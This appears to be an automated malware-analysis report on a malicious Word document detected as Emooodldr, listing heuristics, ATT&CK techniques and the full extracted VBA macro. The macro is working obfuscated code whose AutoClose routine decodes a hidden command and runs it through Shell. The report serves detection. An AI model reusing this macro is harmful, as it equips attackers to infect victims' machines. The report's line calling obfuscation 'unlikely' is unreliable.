MALICIOUS
282
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
T1059 Command and Scripting Interpreter
The sample is a malicious Office document containing VBA macros, specifically an AutoClose macro that uses the Shell() function. This indicates the document is designed to execute arbitrary code upon opening or closing. The ClamAV detection 'Doc.Malware.Emooodldr-6711604-0' strongly suggests the Emooodldr family, which is known for downloading and executing second-stage payloads.
Heuristics 6
-
ClamAV: Doc.Malware.Emooodldr-6711604-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Emooodldr-6711604-0
-
VBA project inside OOXML medium 3 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
Auto_Close macro high OLE_VBA_AUTOCLOSEAuto_Close macro
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 2102 bytes |
SHA-256: 668de824428c8ce8946cb3625d8c5782a2904424400996819979d14a134565a8 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function pantdress(rheumatically)
inception = Array("d", "V", "w", "j", "l", "v", "2", "3", "g", "", "Q", "q", "K", "f", "7", "z", "G", "a", "M", "y", "r", "E", "t", "4", "U", "I", "s")
posset = Array("f", "=", ":", "x", "d", "?", " ", "e", "s", "B", "r", "n", "N", "c", "a", "p", "t", "m", "y", "/", "o", "g", "u", "h", "w", ".", "O")
bhat = vbNullString
For Each ophthalmocele In rheumatically
brooms = structuralism(ophthalmocele, inception, UBound(inception))
If brooms > -1 Then
bhat = posset(brooms) & bhat
End If
Next
pantdress = StrReverse(bhat)
End Function
Public Function structuralism(rumbumptious, indeliberateness, differentiant)
hoedowns = 5553
grecophil = 772
For hoedowns = 0 To differentiant
If indeliberateness(hoedowns) = rumbumptious And hoedowns > -1 Then
grecophil = hoedowns
End If
Next
If grecophil = 772 Then
grecophil = -1
End If
structuralism = grecophil
End Function
Sub AutoClose()
rheumatically = Array("a", "g", "4", "G", "7", "I", "3", "j", "3", "2", "4", "G", "G", "z", "w", "y", "y", "G", "t", "M", "q", "E", "g", "l", "q", "d", "U", "3", "d", "U", "3", "d", "I", "f", "r", "a", "y", "s", "", "K", "y", "g", "3", "3", "l", "I", "z", "4", "z", "v", "t", "G", "a", "7", "V", "G", "Q", "7", "q", "g", "d", "3", "Q", "d")
overmasteringly = pantdress(rheumatically)
Application.Run "pseudosubtle", (overmasteringly)
End Sub
Private Sub pseudosubtle(tipless)
rule = 3271
atokous = True
While atokous
superscouts = rule + 60
If superscouts - rule > 1 Then
brigandism = specialises + "ll"
Call VBA.Shell(tipless, vbNormalFocus - 1)
atokous = False
End If
Wend
End Sub
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 11776 bytes |
SHA-256: 90c5fad91d0544ec2f0f6328fbffdb1d66d6884ef70c40e3835f414711ea7862 |
|||
|
Detection
ClamAV:
Doc.Malware.Emooodldr-6711604-0
Obfuscation or payload:
unlikely
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.